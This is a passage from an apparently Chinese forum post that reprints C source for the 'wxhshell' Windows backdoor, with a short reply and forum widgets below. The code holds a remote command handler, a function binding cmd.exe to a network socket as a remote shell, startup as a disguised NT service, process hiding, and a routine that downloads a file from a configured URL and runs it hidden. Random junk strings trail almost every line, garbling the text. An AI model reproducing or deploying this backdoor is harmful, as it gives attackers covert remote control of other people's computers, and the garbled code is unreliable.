  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m@qqVRn#)  
  if(DownloadFile(cmd,wsh)) f@z*3I;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -zfoRU v  
  else vE\lp8j+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ," R>}kPli  
  } $C_M&O}  
  else { ?C;JJ#Ho  
bkQ3c-C<  
    switch(cmd[0]) { mN1Ssq"B  
  +uQB rG  
  // 帮助 |HbEk[?^s  
  case '?': { av'*u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wc'Ehyi;  
    break; : }?{@#Z  
  } ZlR!s!vv  
  // 安装 Aka^e\Y@6*  
  case 'i': { 'Ji+c  
    if(Install()) 2w1tK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M []OHw  
    else >Q2). E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R{3CW^1  
    break; it}-^3A M  
    } LpWI>sNv  
  // 卸载 9N Le&o  
  case 'r': {  4#rAm"H  
    if(Uninstall()) F$Pp]"82'm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K3ukYR  
    else $Ub}p[L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K5flit4-  
    break; 1j3=o }m  
    } +WF.wP?y  
  // 显示 wxhshell 所在路径 0=[0|`x  
  case 'p': { olty4kGD$V  
    char svExeFile[MAX_PATH]; RO oE%%8I  
    strcpy(svExeFile,"\n\r"); 0n5UKtB  
      strcat(svExeFile,ExeFile); @>O&Cpt  
        send(wsh,svExeFile,strlen(svExeFile),0); v]bAWo  
    break; f=ib9WbR#  
    } -9G]x{>  
  // 重启 &5q{viI  
  case 'b': { p.Y$A if.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YvTA+yL  
    if(Boot(REBOOT)) `"Dy%&U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gMZ&,n4  
    else { u%opY<h  
    closesocket(wsh); <o@)SD~K  
    ExitThread(0); 2V$9ei6  
    } F0;1zw  
    break; yiT{+;g^  
    } |R~;&x:  
  // 关机 *i?.y*g  
  case 'd': { t<lyg0f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5Rs?CVVb  
    if(Boot(SHUTDOWN)) r<(kLpOH%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E^syrEz  
    else { Ekf2NT  
    closesocket(wsh); v MWC(m  
    ExitThread(0); "k>bUe|RG  
    } ~ &~C#yjg1  
    break; FOp_[rR   
    } g{a d0.y,  
  // 获取shell {Gkn_h-^  
  case 's': { &7F&}7*c  
    CmdShell(wsh); \X opU"  
    closesocket(wsh); z(UX't (q  
    ExitThread(0); Gg+YfY_  
    break; n\~yX<;X3  
  } m|dF 30~A  
  // 退出 1UyH0`&  
  case 'x': { Fe4esg-B<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w4}(Ab<Y  
    CloseIt(wsh); >@Khm"/T  
    break; JS2!)aqc  
    } M,{<TpCx  
  // 离开 YHh u^}|jQ  
  case 'q': { yHw!#gWM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bV7QVu8  
    closesocket(wsh); 6SAQDE  
    WSACleanup(); [N R1d-Wg  
    exit(1); }2xb&6g~o  
    break; ~y%7w5%Un  
        } Ja=N@&Z#  
  } *l q7t2  
  } Ib(,P3  
-9Xw]I#QR  
  // 提示信息 p,^>*/O>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dh,7iQ s  
} |ZuDX87  
  } | VRq$^g  
*EE|?vn  
  return; bgXc_>T6_y  
} KqY>4tb  
|Kn^w4mN  
// shell模块句柄 cFxSDTR  
int CmdShell(SOCKET sock) bl9E&B/  
{ G[B*TM6$  
STARTUPINFO si; Faw. GU  
ZeroMemory(&si,sizeof(si)); ]=pWZ~A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3DHvaq q7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {8i}Ow  
PROCESS_INFORMATION ProcessInfo; ~pwY6Q  
char cmdline[]="cmd"; pb= HVjW<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6KBHRt  
  return 0; .=aMjrME  
} @%7/2k  
X)FQ%(H<  
// 自身启动模式 g&8.A(  
int StartFromService(void) W.sD2f  
{ ,|>nF;.Y  
typedef struct ],#ZPUn  
{ m&{rBz0  
  DWORD ExitStatus; $q=hcu  
  DWORD PebBaseAddress; ^:$j:w?j  
  DWORD AffinityMask; 5[hlg(eb  
  DWORD BasePriority; )%1&/uN)  
  ULONG UniqueProcessId; M{y|7e%K  
  ULONG InheritedFromUniqueProcessId; c'[( d5^|  
}   PROCESS_BASIC_INFORMATION; CTh1;U20  
f Y2l.H\f  
PROCNTQSIP NtQueryInformationProcess; !-@SS>  
wf^cyCR0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _4De!q0(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lHRK'? Q  
0$(jBnE  
  HANDLE             hProcess; 4>d[qr*<  
  PROCESS_BASIC_INFORMATION pbi; A'w2GC{.  
4O9tx_<JG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *,_2hvlz  
  if(NULL == hInst ) return 0; !DCVoc]pV  
LE Jlo%M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /Ir 7 DZK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7YSuB9{M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]lC4+{V  
<4SF~i  
  if (!NtQueryInformationProcess) return 0; ~n)]dFy  
eq7C]i rH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W>UjUq);  
  if(!hProcess) return 0; ">0 /8]l  
jR }*bIzv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _qdWQFuM  
^O?l9(=/u  
  CloseHandle(hProcess); -1dIZy  
yzODF>KJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :  ,|=Q}  
if(hProcess==NULL) return 0; (u$!\fE-et  
([ E#zrz%  
HMODULE hMod; 4_Tb)?L+:  
char procName[255]; !G@V<'F  
unsigned long cbNeeded; p` ^:Q*C"  
4 {uJ||!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vjY);aQ  
}qTv&Z3$  
  CloseHandle(hProcess); k$Nx6?8E  
`\6 +z  
if(strstr(procName,"services")) return 1; // 以服务启动 sT@u3^>  
(gv=P>:  
  return 0; // 注册表启动 i] V F'tG  
} * N2#{eF&]  
* , |)~$=>  
// 主模块 QLxXp  
int StartWxhshell(LPSTR lpCmdLine) N2M?5fF  
{ s2kGU^]y  
  SOCKET wsl; #p;4:IT  
BOOL val=TRUE; V/+H_=|  
  int port=0; Tm'lN5}&9  
  struct sockaddr_in door; 1KNkl,E  
9G=A)j  
  if(wscfg.ws_autoins) Install(); <5C=i:6%  
9} IVNZc  
port=atoi(lpCmdLine); fLf#2EA  
U!3uaz'  
if(port<=0) port=wscfg.ws_port; &^"s=g.  
+A;n*DF2  
  WSADATA data; ) >-D={  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,=x.aX Spz  
ixoMccU0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zSX'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <[*h_gE5  
  door.sin_family = AF_INET; ;5zjd,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }j]<&I}  
  door.sin_port = htons(port); $NH`Iu9t  
0YgFjd 5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G*kXWEx  
closesocket(wsl); je$R\7B<  
return 1; C{U[w^X  
} O#<|[Dzw  
_oYA;O  
  if(listen(wsl,2) == INVALID_SOCKET) { bUEt0wRR  
closesocket(wsl); U:C-\ M  
return 1; fbW,0  
} U/ v"?pg[  
  Wxhshell(wsl); "1=.5:yG  
  WSACleanup(); OdtbVF~  
?ZD{e|:u  
return 0; rVc zO+E  
NG4eEnic!a  
} QqT6P`0u  
&eLQ;<qO*|  
// 以NT服务方式启动 %m0L!|E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #Q!c42}M  
{ 0|qx/xo|-  
DWORD   status = 0; ]-+.lR%vd9  
  DWORD   specificError = 0xfffffff; &9GR2GY  
/;]B1T7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JCQx8;V%I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >"m@qkh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pfT`WT  
  serviceStatus.dwWin32ExitCode     = 0; 8z3I~yL_`+  
  serviceStatus.dwServiceSpecificExitCode = 0; -O5(%  
  serviceStatus.dwCheckPoint       = 0; A$$R_3ne  
  serviceStatus.dwWaitHint       = 0; RLeSA\di  
%<bG%V(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q:Nwy(,I  
  if (hServiceStatusHandle==0) return; 2!"\;/  
O_%PBgcJr  
status = GetLastError(); @pEO@bbg>  
  if (status!=NO_ERROR) EzeDShN=J  
{ 9cx!N,R t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GwU>o:g"  
    serviceStatus.dwCheckPoint       = 0; {R6Zwjs  
    serviceStatus.dwWaitHint       = 0; HnYFE@Nl:U  
    serviceStatus.dwWin32ExitCode     = status; \M1M2(@pDJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; MSrY*)n!>O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v;NZ"1=_  
    return; bl+@}+A  
  } GXAk*vS=G  
(tz_D7c$F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z1MJ!{@6  
  serviceStatus.dwCheckPoint       = 0; SBYMDKZ  
  serviceStatus.dwWaitHint       = 0; S &lTKYP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W@uH!n>k  
} 9^[5!SMzCj  
0;m$a=  
// 处理NT服务事件,比如:启动、停止 y9l.i@-  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  h(N 9RJ}  
{ \w@_(4")Qb  
switch(fdwControl) KTAe~y  
{ | 9\7xT  
case SERVICE_CONTROL_STOP: X6"^:)&1M  
  serviceStatus.dwWin32ExitCode = 0; yADN_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (fI&(";t  
  serviceStatus.dwCheckPoint   = 0; #B.w7y5*  
  serviceStatus.dwWaitHint     = 0; U!-+v:SF  
  { "3>*i!i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3I{ta/(  
  } )su <Ji*  
  return; P.H/H04+  
case SERVICE_CONTROL_PAUSE: TF iM[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %JA&O  
  break; Lw+1|  
case SERVICE_CONTROL_CONTINUE: ws=9u-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GVHfN5bTqn  
  break; +68K[s,FD  
case SERVICE_CONTROL_INTERROGATE: ~)_ ?:.Da  
  break; U(&nh ?  
}; '|A5a+[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xvz5\s|b  
} ; K 6Fe)  
Z!=Pc$?  
// 标准应用程序主函数 D A)0Y_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bCx1g/   
{ ("M#R!3  
|% YzGgp7  
// 获取操作系统版本 :,z3 :PL  
OsIsNt=GetOsVer(); zt>_)&b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _*?"[TYfX  
P@S;>t{TD  
  // 从命令行安装 8KELN(o$ 7  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8iH;GFNJ7'  
L) nVpqm   
  // 下载执行文件 BnnUUaE  
if(wscfg.ws_downexe) { q?]@' ^:;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )D-.7m.v]  
  WinExec(wscfg.ws_filenam,SW_HIDE); _>)"+z^r  
} ZT6X4 Z  
s2v#evI`+  
if(!OsIsNt) { sq (063l  
// 如果时win9x,隐藏进程并且设置为注册表启动 en#g<on  
HideProc(); {s^ryv_}  
StartWxhshell(lpCmdLine); ;F]|HD9  
} OFL+Q~~C  
else j6 d"8oH _  
  if(StartFromService()) byj mH  
  // 以服务方式启动 G mUs U{  
  StartServiceCtrlDispatcher(DispatchTable); lXk-86[M  
else 2WECQl=r  
  // 普通方式启动 ]Q_G /e  
  StartWxhshell(lpCmdLine); 4bJ2<j  
#vZ]2Ud= 2  
return 0; 0N[DV]  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八